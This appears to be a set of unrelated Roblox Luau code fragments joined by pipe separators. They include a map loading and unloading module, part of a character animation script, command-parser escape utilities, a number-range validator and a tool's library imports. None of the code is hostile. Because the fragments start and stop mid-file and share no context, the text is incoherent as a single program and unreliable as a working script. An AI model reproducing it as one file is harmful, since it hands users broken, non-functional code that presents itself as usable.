map = mapContainer:FindFirstChild(MAP_NAME)
local cachedMap = map:Clone()
function MapManager.loadMap()
if map then
print("Current map must be unloaded before loading a new map. Returning current map.")
return map
end
map = cachedMap:Clone()
map.Parent = mapContainer -- Parent it to the map container
map.Name = MAP_NAME -- Rename the map so that we can use the unloadMap() function later to remove it.
return map -- Return the map we selected, in case we want to display its info.
end
function MapManager.unloadMap()
if map then
map:Destroy()
map = false -- Easier to handle than nil
end
end
function MapManager.reloadMap()
if map then
print("Removing current map before reloading")
map:Destroy()
end
map = cachedMap:Clone()
map.Parent = mapContainer -- Parent it to the map container
map.Name = MAP_NAME -- Rename the map so that we can use the unloadMap() function later to remove it.
return map -- Return the map we selected, in case we want to display its info.
end
function MapManager.getMap()
return map
end
function MapManager.getSpawnLocations()
if map then
return map:FindFirstChild("SpawnLocations")
end
return false
end
return MapManager
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onSwimming(speed)
if userAnimateScaleRun then
speed /= getHeightScale()
end
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.2, Humanoid)
updateVelocity(currentTime)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
--- Parses escape sequences into their fully qualified characters
|
function Util.ParseEscapeSequences(text)
return text:gsub("\\(.)", {
t = "\t";
n = "\n";
})
:gsub("\\u(%x%x%x%x)", charCode)
:gsub("\\x(%x%x)", charCode)
end
function Util.EncodeEscapedOperator(text, op)
local first = op:sub(1, 1)
local escapedOp = op:gsub(".", "%%%1")
local escapedFirst = "%" .. first
return text:gsub("(" .. escapedFirst .. "+)(" .. escapedOp .. ")", function(esc, op)
return (esc:sub(1, #esc-1) .. op):gsub(".", function(char)
return "\\u" .. string.format("%04x", string.byte(char), 16)
end)
end)
end
local OPERATORS = {"&&", "||", ";"}
function Util.EncodeEscapedOperators(text)
for _, operator in ipairs(OPERATORS) do
text = Util.EncodeEscapedOperator(text, operator)
end
return text
end
local function encodeControlChars(text)
return (
text
:gsub("\\\\", "___!CMDR_ESCAPE!___")
:gsub("\\\"", "___!CMDR_QUOTE!___")
:gsub("\\'", "___!CMDR_SQUOTE!___")
:gsub("\\\n", "___!CMDR_NL!___")
)
end
local function decodeControlChars(text)
return (
text
:gsub("___!CMDR_ESCAPE!___", "\\")
:gsub("___!CMDR_QUOTE!___", "\"")
:gsub("___!CMDR_NL!___", "\n")
)
end
|
--[[**
ensures value is a number where min < value < max
@param min The minimum to use
@param max The maximum to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.numberConstrainedExclusive(min, max)
assert(t.number(min))
assert(t.number(max))
local minCheck = t.numberMinExclusive(min)
local maxCheck = t.numberMaxExclusive(max)
return function(value)
local minSuccess = minCheck(value)
if not minSuccess then
return false
end
local maxSuccess = maxCheck(value)
if not maxSuccess then
return false
end
return true
end
end
|
-- Libraries
|
local Libraries = Tool:WaitForChild 'Libraries'
local Maid = require(Libraries:WaitForChild 'Maid')
local PaintHistoryRecord = require(script:WaitForChild 'PaintHistoryRecord')
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
local Roact = require(Vendor:WaitForChild('Roact'))
local ColorPicker = require(UI:WaitForChild('ColorPicker'))
|
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